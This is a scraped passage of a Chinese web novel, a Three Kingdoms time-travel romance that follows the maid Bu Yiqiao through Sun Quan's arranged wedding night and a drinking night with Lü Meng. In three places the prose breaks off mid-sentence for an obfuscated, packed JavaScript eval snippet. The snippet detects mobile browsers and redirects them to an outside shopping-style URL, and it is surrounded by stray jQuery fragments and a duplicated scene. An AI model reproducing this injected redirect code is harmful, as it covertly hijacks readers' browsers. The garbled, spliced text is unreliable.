“当然。我永远记得。” * 【距离二月廿八,还有一天】 红绸满天,灯笼如昼,就连廊下穿行的风都带着脂粉与熏香的气味。步一乔走在回房的路上,每一步都像踩在虚幻的繁华之上。 那么近的喜气,与她无关,却与她最爱的男人有关。 腕间的红痕早已消退,但那夜缠绕的温度,却仿佛还留在皮肤深处。她抬手轻轻按了按,指尖微凉。 转角处忽有人影一动。没等步一乔看清人,便被不由分说拉住手腕,转身便往僻静处走。 一路避人耳目,直至后院的杂屋。孙权推开门,里面没有点灯,只有月光从破窗漏入。 “来这里做什么?”步一乔低声问。 “偷懒。” “啊?唔——” 门被轻轻带上。 孙权将她抵在门板与自己的气息之间,低下头吻住她。起初。唇瓣只是贴着,温热地覆着她,然后稍稍用力,含住了她的下唇。 呼吸、闷哼、吞咽渐渐缠在一起。 “孙……孙权……声音……会……出去的……唔嗯……” 孙权松开一点,不管不顾,又贴上去,探入得更深。步一乔闭上眼睛,揪住他腰侧的衣料。 她能清晰地感觉到他舌尖的力度,缓慢地、一遍遍地描摹她的唇齿,将口腔里每一寸舔试个遍。 手也不安分的。 宛若一日不见如隔三秋,感觉纤细的腰摸不到什么,孙权的掌心四处探索,揉捏扣扯。 旖旎声充斥回荡在狭小的屋内……他和她贪恋着,靠着对方,汲取着,不愿分开。 不知过了多久,孙权才稍稍退开,又不舍地撅着唇啄了一下。 “甚是想念。” 步一乔轻笑,“明明早晨才见过,一天而已。” “一天,便已太长。”孙权低声道,指腹蹭过她红肿的唇,“你不在眼前,每一刻都觉空落。” 步一乔仰脸看着他。没说话,只是抬起手,落在他微蹙的眉间,慢慢抚平。 “明日……便是大礼之日了。” 孙权握住她的手腕,将她的掌心贴在自己脸颊。 “我知道。” 他合了合眼,再睁开时,眸色深浓。 “正因如此,此刻才更须记住你。今夜,也留在我身边,可好?” “今晚不行,需彻夜值守,不能有半分疏漏。” “守什么?我陪你。” “守在一位二公子的门外呀。夫人吩咐了,怕你临时起意走脱,要我守在门外,哪儿也不许你去。” 孙权闻言苦笑,“母亲倒是……思虑周全。” “夫人是为你着想,也为孙氏与谢氏的体面。今夜,我服侍公子沐浴吧。洗得干干净净,再登场。我还没见过你穿喜服的样子呢,也当开开眼。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890794|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你啊……又乱用词。” 孙权拦腰将她抱离地面,抵在门板上,吻得比先前更深,细细品尝她每一寸反应。 步一乔的手滑到他背后,抓皱了衣袍,生怕自己掉下去。 分开时,两人呼吸都有些乱,步一乔像个委屈可怜的孩子挂在孙权身上,平复了半天,才呼吸顺畅。。 “回去吧,太久了,会惹人疑心。我可不想刚进府,就被撵出去。” “嗯。”孙权应着,却没松手。 直到门开了,踏出这方天地,春天回归凛冬。如同即将分隔千里的爱人,不舍地分手。 * 孙权并未唤旁人,只命人在净室备好热水与香汤,留下步一乔和自己。 氤氲的热气很快弥漫开来,步一乔攥紧挽起的袖口,试了试水温。 “公子,请入浴吧。” 孙权走到她身后,并未急着宽衣,只是静静地站着,目光落在她后颈。良久,他才开口: “一乔,转身。” 步一乔依言回身,抬起眼时,他已解开了外袍系带。深衣滑落,露出线条紧实的肩臂与胸膛。烛光在水汽中跳跃,将他身上旧日的箭伤与刀痕映得忽明忽暗。 “摸摸看。” 步一乔将掌心抚上伤痕。 “从前都不曾细看过。现在还疼吗?” “疼。我想它疼一辈子。” “为何?” “要我此生不忘江东大业,终将北伐成功。” 步一乔没再接话,她接过孙权褪下的衣物,叠好置于一旁的架上。 “手,试试看,水温可还合适?” “嗯。” 孙权踏入桶中,热水没过腰际。他靠在桶壁,阖上眼,水珠沿着他的下颌与锁骨滚落。 “上次是你为我擦洗,这次轮到我了。” 步一乔拿起丝络与澡豆,在他身后跪下,为他擦洗。温热的水打湿了她的前襟,她也浑然未觉。 “湿了。”孙权低声道。 步一乔低头看了眼自己身前,“不妨事,本就是要沾湿的。” 孙权却忽然回过身来。水波随着他的动作荡漾,漫过桶沿,洇湿了步一乔跪坐的裙裾。 “我说的不是衣裳。是你的眼睛。” 步一乔怔住。 “还泛红,你哭过?”孙权指腹抚过她眼下,柔声问。 半晌,步一乔才很轻地摇了摇头:“没有。只是……热气熏着了。” “又说谎。” 她终于垂下眼帘,呢喃:“你明知我是个什么性子的人,也明知我为何如此,别总问啊……” 孙权凝视着她,松开手,却转而捧住她的脸,迫使她抬起眼来。 “我们要的,只是这场联姻带来的势力联结,顺应你清楚那段的历史。” “可我总觉得……这对谢姑娘她们……不公。” 现代人的思维如何能理解乱世中,生不由己、婚不由己,在时人眼中近乎天经地义的生存法则。 “乱世之中,有些事,本就不能以寻常道理论之。世家联姻,政权交换,本就是这世道的生存法则。更何况……我分明心系于你,却屡屡身不由己,难得周全。” 孙权声音渐低,指腹摩挲着她颊边,满眼委屈。 步一乔注视着他的眸子,酸涩翻涌。 “孙权……” “嗯,我在。” “听,打更声。时辰到了。” 二月廿八,到了。 * (又又是四月的某日) 孙权故作沉吟,片刻后,带着笑意说:“许是因为,我始终只与你一人同房罢。” 步一乔倏然抬眼,怔怔望向他,唇瓣微启,却半晌未能成言。 “什么叫只与我……那、那洞房花烛夜呢?” “礼数周全后,便各自歇下了。” “不是……这……啊?!你这……直接扼杀你长子在胚胎里啊!” 孙权却不以为意的样子,抚上步一乔的小腹。 “不是在这里吗?” “啊?!” 这人眉眼间的神色,为何透着一种胜券在握、意料之中的从容? 步一乔忽然揪住孙权的衣襟,逼视那双含笑的眸子。 “孙、仲、谋!你又在打什么算盘!” 89. 月下说 “孙权……” “嗯,我在。” “你听,打更声。时辰到了。” 二月廿八,到了。 孙权沉默地注视着她,半晌,忽然长身而起。 水声哗然,带起的热气扑了步一乔满面。她不及反应,一件宽大的寝衣已罩头落下,将她笼住。 “湿衣贴着,要着凉的。” 步一乔眼前一片昏暗,只听得见水珠从他身上滚落,砸在地面的轻响,以及窸窣的衣物摩擦声。 片刻,衣料被掀开一角。孙权已换上常服,发梢还滴着水,不容分说牵上她的手。 “走。” “去哪里?”步一乔下意识地问,脚步却已不由自主地被他带动。 “夜深了,外头无人。”他简短答道,推开门扉。 二月春风穿过廊下,他牵着她在寂静的府邸中穿行。步一乔满腹疑问却一句也问不出口。 终于,他在布置好喜宴的前院停下。即便唯有月光照亮,依旧能感受到红火喜庆。两人站在漫天红绸下,牵紧彼此的手。 “没有高堂宾客,没有六礼诸仪。甚至……不合礼法,见不得光。” 孙权目光掠过喜红,最后落在步一乔怔然的脸上。 “但这里有天地为证,此心为聘。此为我孙仲谋此生第一场婚宴,我想,与我心悦之人,行一次真正的礼。” 他声音诚恳,一字一句,敲在步一乔心上。月光透过摇曳的红绸,在心悦之人脸上洒下柔光。 “仲谋……”她喉间哽咽,唤出他的字。 孙权牵着步一乔走到铺着红锦的案几前,松开手,拿起酒壶,将清冽的酒液注入酒觞。 “我知你心中所虑,知你眼中所见的不公。乱世如洪炉,你我皆在其中沉浮。有些事,我身不由己;有些名分,我暂时无法给你。” 孙权拿起一樽酒,递到她面前。 步一乔看着他手中的酒樽,又抬眼望向他眸中映出的自己与漫天喜红。 “但此刻,此地,此心,是真的。这杯合卺酒,只为你我。” 夜风拂过,卷起红绸一角,也吹动她身上那件属于他的宽大寝衣。 步一乔含着泪缓缓抬起手,坚定地覆上孙权执樽的手,共同握住冰凉的酒觞。 “好。不过得先说好,我可不认这是我的婚约,你还是欠我的。” “当然。” 手臂交缠,气息相近,两人同时举杯,将辛辣而醇厚的酒液饮尽。 放下酒樽,孙权没有松开步一乔的手,凝视着她微醺的脸颊和湿润的眼眸,另一只手拂开她被风吹到颊边的一缕碎发。 “往后漫漫岁月,或许仍有风雨如晦,但今夜明月红绸为证:无论明面上有多少身不由己,暗地里有多少权衡算计,在我心中,你始终是我孙仲谋,唯一以本心相聘的妻。” 步一乔的泪水终于滑落,用力点头,千言万语都堵在胸口,最终只化作一声带着鼻音的: “嗯。” 孙权伸手,将她揽入怀中。步一乔的脸颊贴着他胸前微凉的衣料。 红绸在他们头顶沙沙作响,月光温柔地洒落,在寂静深夜里,以天地为证、此生不换。 * 【二月廿八】 孙府内外张灯结彩,红绸如霞。 迎亲的仪仗蜿蜒数里,鼓乐喧天,吴郡百姓皆道孙氏与谢氏这场联姻盛大煊赫,是江东难得的盛事。 步一乔立在喜宴最外围,依着职守照看身旁聚成一圈的孩童。 “二哥成完亲,三哥成。三哥成完,四哥成。四哥成完……”孙尚香唱着唱着忽然顿住,想了想又继续唱,“四哥成完,大哥成。大哥成完,二哥成。” “姑母唱得真好听!”孙茹拍手称赞道。 与步一乔中间隔着孙茹的,便是孙瑾。与孙绍为龙凤胎,却有些许不同。孙绍面相随了孙策,孙瑾应当随了那位不知姓名的母亲吧。 四个娃娃和步一乔排排坐在后头,望着前方大人们喜庆热闹。 孙尚香唱完了自己编的童谣,忽然扭头问:“一乔,你什么时候成亲呀?” 步一乔微微一怔,还没答话,孙茹便抢着说:“一乔要成亲,定是和我们家!” “为何呀?”孙尚香好奇。 “因为一乔好!不想一乔嫁出去!”孙茹说得理直气壮,引得孙绍也转过头来,认真地点点头。 步一乔失笑,轻轻揉了揉孙茹的发顶。孙瑾却在这时抬起头,小声说:“姐姐不难过吗?” 童言无忌,却问得真切。步一乔看着孩子澄澈的眼睛,一时竟不知如何作答。 “为何难过?”步一乔笑问。 孙瑾道:“因为二叔有了夫人,往后一乔不仅要照顾二叔,还要照顾谢夫人,还有他们的孩子……会很累吧?” 步一乔没料到她会这么问,怔了怔,才温声道:“照顾人是不会累的。只要……照顾的是心里在意的人。” 孙瑾似懂非懂,又问:“那一乔在意很多人吗?” “在意啊。”步一乔望向远处那片红影幢幢,“在意你们几个,也在意这个家里,所有值得在意的人。” 孙茹忽然蹭过来,抱住步一乔的胳膊:“那我也在意一乔!最喜欢一乔了!” 孙尚香见状,咯咯笑起来:“你们呀,都黏着一乔!一乔明明是我先相中的!二哥跟我抢,你们也跟我抢!” 一群娃娃你一言我一语,闹作一团,果然引得前头席间大人侧目。步一乔连忙起身致歉,几个孩子这才收敛坐好。 “什么事儿这般热闹?” 五人齐齐转头,只见徐嫒正朝这边走来,怀里还抱着今年正月刚出生的孙松。 “松儿!” 孙尚香一见到襁褓,眼睛都亮了起来,蹦跳着凑上前,伸手想抱。徐嫒含笑将孙松递到她怀里,又小心托着襁褓底。 “一乔真是好耐性,这几个皮猴儿凑在一处,旁人怕是招架不住。”徐媛打趣道。 步一乔微微欠身:“夫人过誉了,不过是陪着说说话。” 孙尚香逗着怀中乐呵呵的婴孩,仰着脸问:“嫂嫂怎么抱着松儿出来了?前头不好玩儿么?” “里头酒酣耳热,我怕松儿受不住,待会儿哭闹起来反倒搅了兴致,便带他出来透透气。也顺道让你们几个小的,陪他玩儿一会儿。” “已经在喝酒了吗……”步一乔下意识喃喃。 徐媛听见了,柔声接道:“幸而安排了旁的差事,没让你在前头照应。” 步一乔抬起眼,迎上徐媛了然的目光,唇角动了动,终是化作一抹极淡的笑意。 “夫人这话说的,像是我不愿看着二公子娶妻似的。” “不是吗?” “当然不是。郎才女貌,成两姓之好,亦是江东佳话。何况,三公子尚比二公子年幼一岁,如今已为人父。二公子……是该成家了。” 徐媛的目光在她脸上停了停,终究没再深问,只轻轻点了点头:“你能这样想,自是最好。” 孙松安安静静卧在孙尚香臂弯里,小手在空中茫然抓了几下,忽然攥住她垂落的一缕鬓发,便紧紧握住不放。 孙尚香怕扯痛他,只得微微弓着身,姿势有些别扭,眉眼间却盈着明亮亮的欢喜。 步一乔瞧着,不禁莞尔:“想不到平日里飒爽爽的大小姐,也有这般温柔模样。” 孙松攥着那缕发丝,竟咯咯笑出了声。孙尚香也跟着笑,侧头轻蹭婴孩柔嫩的脸颊。 “二哥常说,人生倥偬,年少能相见时,定要好好看着,好好记着。这乱世聚散不由人,往后……怕是想见一面都难了。” 孙尚香话音落下,四周静了片刻。 步一乔目光在她眉眼间停了停,终究没接话。倒是徐媛轻轻叹了口气,伸手理了理孙松的襁褓边,指尖在孩子柔嫩的脸颊上抚过。 “尚香跟着二哥久了,竟也学来这老气横秋的调子。” “就是!都怪二哥!”孙尚香立时接过话头,方才那点怅然瞬间散了,又变回那个娇嗔灵动的模样。 三姊妹在一旁笑得不亦乐乎,孙茹扯了扯步一乔的袖子,好奇问道:“一乔也觉得二叔老气横秋吗?” “我啊……”步一乔沉吟片刻,“我倒觉得还好。大抵……我自己本也是个无趣的人吧。” 两个无趣的人相逢,便编造出了这场惊世骇俗的故事。 * 正说笑着,前厅传来一阵更响亮的喧哗:新人要入洞房了。宾客们簇拥着那对红衣璧人往后院去,笑声、贺喜声混成一片热闹的潮。 步一乔站起身,对孩子们柔声道:“时辰不早了,该回房歇息了。” 几个孩子虽意犹未尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894239|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,见步一乔神色温和却坚定,也只得乖乖起身。孙绍还踮脚朝热闹处望了望,被步一乔轻轻按了按肩头。 “明日醒来,喜糖还给你们留着。这会儿再不睡,明早起不来,可要错过了。” 徐媛抱着孙松,朝步一乔微微颔首:“有劳你了。”说罢便带着尚香,引着孩子们往内院去。 人影渐远,廊下转眼只剩步一乔一人。 前厅空寂下来,只余杯盘狼藉,烛影摇红。她独自立了半晌,目光虚虚掠过满庭残宴,却又像什么也没看进眼里。 远处,隐约传来新房门扉合上的轻响。 步一乔忽然想起了自己不算正式的“洞房花烛夜”,缠绕的青丝,温热的酒,意犹未尽的称呼。 “夫君……” “叫谁夫君呢?” 阿舒是来寻步一乔一同收拾残席的,见她怔怔出神,便想先逗她一逗。 步一乔蓦地回神,颊边竟有些发热,好在廊下光线昏昏,看不真切。 “望着婚宴,心生羡慕罢了。” 阿舒咯咯笑起来,也不深究,只挽了她的胳膊:“走吧,活儿还多着呢。前头那些碗盏,怕是要收到三更天呢。唉,还想着溜去听墙角呢,这下可好,全耽搁了。” 步一乔任她拉着往前走,走过廊柱时,目光仍不经意地掠过那扇贴着双喜的窗。 烛光在窗纸上晕开温暖的光晕,成双的影,轻轻摇曳。 “诶,你听见没?”阿舒忽然拽住她,竖起耳朵。 步一乔驻足。 隐隐约约的,真有说笑声从新房那头飘来,混在风里,听不真切,却透着股鲜活泼的喜气。阿舒眼睛亮了,拽着她袖子晃:“要不……咱们绕过去?就瞧一眼!” 步一乔看着阿舒跃跃欲试的模样,又望了望那片暖光,终究轻轻摇了摇头。 “罢了。人家的好日子,咱们……别扰了。” “怕什么!不坏规矩!走走走!” 阿舒却来了劲,非要拉她去,手劲儿大得很。 步一乔被她拽得踉跄半步,还未来得及挣开,已被半拖半拉地扯到了新房窗下。 “咦?怎么没声音啊?” “阿舒,要不我们——” “嘘——你听。” 阿舒忽然竖起食指抵在唇边。 步一乔屏息。 极轻的、窸窸窣窣的衣料摩擦声从里面传来,接着,是满足般的轻叹,气息悠长,又如某种难以言喻的缠绵。 步一乔一万个后悔自己到了这儿。向后退了一步,脚跟磕在石阶上,发出轻响。 “谁在外面?!”屋内传来男子的询问。 步一乔脸色煞白,再不敢停留,拉上阿舒落荒而逃。 “欸!跑什么呀!” “该忙正事儿了,去晚了会被骂的。” 两人转过回廊,正撞见同屋的另一位侍女端着铜盆迎面走来。她狐疑地看了看神色仓促的两人:“阿舒,一乔,你们去哪儿了?” 阿舒朝新房方向指了指,挤眉弄眼地做了个“嘘”的手势。 侍女顺着她指的方向望去,笑问:“你们……去主公和乔夫人厢房外头偷听什么了?” “啊?”步一乔和阿舒异口同声,俱是一愣。 步一乔再次回头望去,刚才心神不宁,来去匆匆,没曾想真是孙策的屋。所以方才屋内欢愉之人是……孙策和大乔?! “行啦,快去干活吧,明儿还有得忙呢。” * 收拾完一切,也只剩两个时辰便是天明,阿舒也破灭了去偷听的念头,拉上步一乔回厢房睡觉。 可步一乔哪里睡得着。 今夜,可是他与明媒正娶的第一位夫人的洞房花烛夜。 即便没有感情,即便只是联盟,但礼法是周全的,仪式是公开的,宾客是云集的。 步一乔翻了个身,蜷缩起来,祈祷着赶紧天明,让她见到他。 “我果然还是……不想你碰别人……我知道不行……得有子嗣继承皇位啊……” 心中默默念叨完,步一乔在黑暗中睁开眼。 “若他只碰我,这生娃重任,不就给我了吗……” 生娃、女人,步一乔此生没觉得这两件事儿如此难以抉择。 “都怪孙权……你这般欺负我,我去偷窥一番……很公平吧。” 90. 霄月 阿舒的呼吸已均匀绵长,步一乔赤足踩下榻,连外衫都没披,如游鱼般滑出房门。 “已经这个点儿,也该睡——呸,那可是孙仲谋啊,发狠忘了情,这个点定然没睡!” 她贴着墙根挪步,轻车熟路溜到洞房外不远处的树后躲藏。 屋内烛光已灭,望不见动静。 “竟然已经睡了吗……” 她提起裙角,一步步挪到门前。屏息凝神,将耳朵贴上门缝:没有鼾声,没有私语,连衣物摩挲的窸窣都无。 她试着轻推。 门竟未闩,无声滑开一掌宽的缝隙。 内室昏暗,鸳鸯锦帐低垂,地面散落着几件红衣,是新人的喜服,交叠在一处。 步一乔怔在原地,片刻后才反应过来,反手将门扉轻轻掩上。 这时,里间传来一声极轻的咳嗽,接着是衣物摩擦声,那人似乎坐起身,帐幔被撩开一角。 步一乔慌忙隐匿在阴影中,捂住嘴,连呼吸都掐断在喉咙里。 “何人?”是谢夫人的声音。 静了片刻,谢夫人似乎只是确认无人惊扰,便放下了帷幔,内室重归寂静。 黑暗里,步一乔努力平复呼吸、按捺心跳,盯着地上那两件交叠的喜服,差点就要哭出来。她屏住全部心神,竭力去捕捉这屋内每一丝细微的声响。 可她等了又等,除了谢夫人清浅的呼吸,这屋里,竟再无第三个人的声息。 是不敢相信,还是不愿相信?步一乔咬着唇,鼓足勇气,朝着床榻又挪近些。 帐中只有谢夫人独自安睡。 孙权根本不在这里?! 怎么会?礼成之时,多少人亲眼看着他们被送入洞房!他人呢?! 她不能再待下去了。 步一乔强迫自己从震骇中抽离,像来时一样,将身形压到最低,贴着墙壁,一点一点向门口挪去。 推开未曾闩紧的门扉时,木质细微的“咿呀”声几乎让她魂飞魄散,停顿片刻,确认内里依旧安眠般的寂静,她才如一片影子,滑出门外。 那么,孙权会在哪儿?书房?议事的前厅?还是……断不会离开孙府,他此刻必然在什么地方。 转过修竹,就在她准备踏入通往书房的回廊时,拐角处,一道高大的人影几乎是凭空出现,毫无预兆地挡在了她的前路上。 步一乔猛地刹住脚步,但还是直直撞上来者胸膛。 “孙府的侍女?大半夜的,往哪儿去?” 些许熟悉的嗓音,以及浓烈的酒气。步一乔捂着额头抬眼望去,怎么也想不到会是他。 “奴、奴婢惊扰大人了!刚在后头干完活儿,想赶回下房歇息。不知大人为何……在此??” 吕蒙揉着昏昏沉沉的脑袋,含糊道:“酒醒了,找茅房……走岔了路。” 听他这般说,步一乔心头稍定,连忙侧身指引:“回大人,茅房在西院角门附近,从此处沿回廊右转,过第二个月洞门便是。” 说完她敛衽一礼,转身欲退:“夜色已深,奴婢不敢耽误大人,先行告退。” “慢着。” 吕蒙身形微晃,一手扶住廊柱,一手随意地朝她点了点:“你认得路,前头带路。这深更半夜,某醉眼昏花,若是再走岔了,惊扰了旁人,反倒不好。” 步一乔心下微沉,却也无可奈何,只得低眉顺眼地应了声:“是。” 夜凉如水,回廊里只余下两人一前一后的脚步声,和吕蒙身上尚未散尽的酒气。步一乔刻意将步子放得又轻又快,只想早些将他带到地方,自己好脱身。 停在一处不起眼的矮房前,步一乔侧身垂首:“大人,便是此处了。” 她以为这便是尽头。 谁知吕蒙并未立刻进去,反而踏入茅房前转回身,高大的影子将步一乔整个笼住。 “你,在此候着。” 步一乔愕然抬头:“……大人?” 吕蒙抬手按了按额角,说得理所当然道:“某饮多了酒,此刻仍有些头重脚轻。里头黑,万一脚下不稳,无人照应可不成。你既已送到此处,便在外稍候片刻。” “是……” 避免听见什么怪异的声响,步一乔死死捂着耳朵。 良久,吕蒙走了出来,衣襟微敞,发冠略歪,见步一乔紧捂双耳,随即勾起唇角,心情颇好似的。 “倒是守规矩。抬头。” 步一乔缓缓放下手,抬起眼帘,正对上吕蒙蕴含深意却参不透的目光。 “夜确实深了。走吧,某送你回下房。” “不敢劳烦大人。奴婢认得路,自己能回去。大人饮了酒,还是快些回府歇息为好。” 吕蒙像是没听见她的推拒,自顾自地点了点头,朝她示意:“嗯,也是,得回去了。你,跟我走。” 步一乔的耐心在逐渐消耗。 “大人,奴婢终究只是个手无缚鸡之力的女子,护送您回府这等要紧事,还是让府中侍卫前来更为妥当。奴婢这就去前头叫人。” 她说着,便微微屈膝,做出要转身去寻人的姿态。 吕蒙一个跨步,高大身形已结结实实挡在她身前,截断了去路。两人距离陡然拉近,他身上未散的酒气扑面而来。 “不必。我是武将,喝醉了也没人能伤我分毫。至于孙府这边,明早我自会差人来报个信,说明情况。走。” 最后那个字,没有丝毫转圜的余地。吕蒙侧了侧身,让出半步通道。 步一乔袖中的手收紧。她知道,此刻再多的推脱都已无用,反而可能引来更深的怀疑。 “……是,奴婢遵命。” 她垂下眼,迈开脚步。心里却忍不住无声低咒:婚期不都择的良辰吉日?这算哪门子的吉日!孙权没寻着,反倒被吕蒙抓个正着。 步一乔郁闷地跟在吕蒙身后半步之遥,越走心头疑云越重。 此人脚步看似因酒意略沉,行进路线却异常清晰,巧妙地避开了所有夜间巡逻的路线与岗哨。深巷曲折,他却穿行自如。 “吕蒙将军真的醉了吗?” “还能再喝三百坛!” “……” 吕府近在眼前,两人这一路,竟真未撞见任何一队巡街的守卫。 吕蒙停下脚步,终于回头看了步一乔一眼。 “到了。” 步一乔立刻垂首,道:“既已护送大人安然回府,奴婢职责已尽。夜已深,不敢再扰,这便回去了。大人早些歇息。” 说完便欲转身。 “且慢。” 吕蒙并未上前,只是站在台阶上,居高临下地看过来。 “夜已深沉,你独自返回孙府,若路上出了差池,反是某之过。” “不打紧的,大人!奴婢跑快些,没人发现,一会儿就到了。” “我说你一个小小侍女,哪来这么多话!”吕蒙眉头一皱,“跟上。” 步一乔终于也失了耐心,抬眼迎上他的视线: “大人若有吩咐不妨明言!要杀要剐,也好让奴婢死个明白!” 吕蒙定定看了她片刻,忽然低笑一声。 “杀你?剐你?”他向前踱了一步,在她身前站定,“若真想取你性命,你现在……还能站着同我说话?” 步一乔背脊僵直,却仍梗着脖子没有后退。 吕蒙不再看她,转身朝廊下行去,只丢下一句:“想知道我想做什么,就跟上。或者——” 他脚步未停,声音飘回来。 “你也可以试试,看你跑不跑得过我府里的亲卫,以及我手里的刀。” 步一乔盯着吕蒙的背影,指尖掐进掌心。 留下,是未知的险局。 逃走……她瞥向远处影影绰绰、悄然无声移近的几道黑影,心沉了下去。 最终,她咬了咬唇,迈步跟上了那道身影。 * 吕蒙并未将她带入正堂,而是绕过后院,来到一处偏僻的暖阁。 他推门而入,步一乔立在门槛处,犹豫着不肯再进。 “进来,关门。” 吕蒙径自在矮榻边坐下,随手拿起小炉上温着的酒壶,自斟了一杯。 步一乔反手合上门,却依旧紧贴着门扉,看着他仰头饮尽杯中酒。 “大人到底……”她忍不住开口。 “抓个人陪我罢了。” “……啊?” 步一乔彻底愣住,一时间怀疑自己听错了。 “过来坐。”吕蒙又倒了一杯酒,朝她推了推,“会喝酒吗?不会也多少喝点。一个人喝,无趣得很。” 这完全出乎意料的转折,让步一乔脑中一片混乱。她设想过无数种可能,却唯独没想过,会是眼前这般……荒诞的情景。 毕竟眼前之人,可是当初拿着刀追杀她一路的吕子明啊。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907088|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “大人说笑了……奴婢身份低微,岂敢与大人同席饮酒?” “身份?”吕蒙嗤笑一声,抬眼扫她,“仲谋对你如此上心,出行在外仍时时惦念。若非家世所限,今日与仲谋成婚的,不该是你才对?” 步一乔眉头微蹙,“你认得我?” “仲谋身边的人都认得你,也都得了吩咐,往后需对你多加照拂。想你今夜在孙府必定难熬,便顺道拎你来这儿了。” 吕蒙将杯中酒一饮而尽,又道:“喝酒,或者干坐着,随你。睡醒我再送你回去。” 步一乔沉默良久,终于一步步走到桌边,却没有坐下。她目光落在那杯清亮的酒液上,又移向吕蒙。 “奴婢斗胆一问,大人此举,究竟是念着与孙将军的话照拂……还是另有所图?” 吕蒙拎着酒壶的手顿了顿,反问:“你觉得呢?你觉得我吕子明,是个会绕弯子算计女人的人?” 步一乔没有避开他的视线。 “是有人叫你来盯着我的,对吗?我猜……是都督的意思吧。” “为何是都督,不是仲谋自己?他既能嘱咐旁人照拂你,自然也能嘱咐旁人……看着你。” 步一乔思忖,的确有可能。 吕蒙将她的沉默看在眼里,毫无征兆地大笑,道:“多读书果然有用!骗你的,我像是如此闲心好的人?就是抓你来喝酒的,坐。” 步一乔突然觉得自己思虑得如此认真,就像个傻子。 她气鼓鼓地坐在吕蒙对面,扫视一圈桌案,竟全是酒。 “我不会喝酒。” “一口都不会?” “一口醉。万一醉后失态,闹出什么乱子。” “什么乱子?酒后乱性?无妨,今夜我陪你睡便是。” “……吕子明你脑子有问题吧!” 说完,步一乔立马捂嘴。又忘了自己眼下的身份。 吕蒙却浑不在意,反而理直气壮地一挥手。 “那怎么了!仲谋和新夫人睡,你跟我喝酒,我跟你睡,岂不美哉!” “美你个头啊!你是不喝酒脑子笨,喝了酒脑子直接废掉是吧!” “嚯哟!有气势!要不要比比谁酒量大!” 步一乔无奈扶额,“都说了我不会喝啊!你这人是不是听不懂话!” “来来来,满上满上!”吕蒙像是没听见,乐呵呵地将桌上所有杯盏尽数倒满,“一起喝,看谁先倒下!你若先倒下,我便背你回我屋休息!若是我先倒……你想干嘛?” “这什么乱七八糟的!我才不要去你屋睡!” “那去别的屋睡也行,有的是空厢房。来,喝!” 步一乔彻底无话可说。 也罢。吕蒙既知自己是孙权“嘱咐照拂”的人,量他也不敢真做什么出格之事。更何况……这一整日的惊惶、酸楚与强撑,也确实需要些什么来麻痹、来忘却。 昨日种种,若能溺于杯酒之中,暂得一夜糊涂,或许反而是解脱。 “大人可别忘了派人去孙府知会一声。不然明日我因‘旷工’被赶出去,可就真得赖在您这儿了。” “放心!包在我身上!” 他率先举起一杯,朝步一乔示意,然后仰头饮尽,杯底朝下,滴酒未剩。 步一乔看着自己面前清冽却灼人的液体,终究还是伸出了手。 “咳咳咳咳咳——好辣!这什么酒?!” “忘忧酒!再来一盏!” * 【二月廿九,孙府】 孙权将府内寻了个遍,也未见到那抹熟悉的身影。询问与步一乔同屋的侍女,皆道从晨起便不曾见过她。 正凝眉思忖间,恰有侍从来报,吕府遣人传话。 来人恭敬禀道:“启禀将军,步姑娘昨夜与我家将军同回府中,眼下酒意未消,尚在安睡。吕将军吩咐小人禀明,晚些他亲自送步姑娘回来。” 孙权静立片刻,面上未见波澜,只颔首:“知道了。” 待来人退下,逐渐收紧的拳青筋突起。 一名侍从走来,提醒道:“二公子,夫人与主公已在主屋等候。” 新婚次日清晨,新妇拜见公婆,是正式成为孙家一份子的仪礼。 孙权望着府门道:“去回禀,我有紧急军务需即刻处理,请母亲与兄长先行受礼,不必等我。” 说罢,他转身,朝马厩方向大步而去。 91. 坠星 晨光初透,马蹄声踏碎吴郡长街的寂静。 孙权策马穿过尚在苏醒的街巷,面色沉静,无悲无喜。 吕府的门楣已在前方。守门士卒见来者何人,慌忙欲行礼通报,孙权却已利落下马,将缰绳随手一掷,径直向内走去。 “子明何在?” “大、大人在厢房……昨日喝了些酒,尚未苏醒,二公子要不……” “我有要事。” “可大人昨夜带了位姑娘回府,二人同榻……怕是不方便。” 孙权未搭理,径直快步走向吕蒙的厢房。管事的眼看拦不住,只好悻悻跟在他身后。 偏厅的门半掩着。透过缝隙,可见吕蒙正背对着门,弯腰凑在一张软榻前,手里端着什么,嘴里似乎还在低声念叨:“……慢点,我又不喝,没人跟你抢。” 随即熟悉的女声沙哑着,全然一副酒未醒的状态。 “都说不行了……你非硬着来……” “放心吧,仲谋不会知道的,装作也什么也不知道就好了。” “嗯……绝不能让他知道。我死得惨,你死得更惨。” 吕蒙大笑,道:“人家如今有明媒正娶的妻室,没空管我们。来,还有最后一口,干了它。” “又不是酒……”步一乔嘟囔。 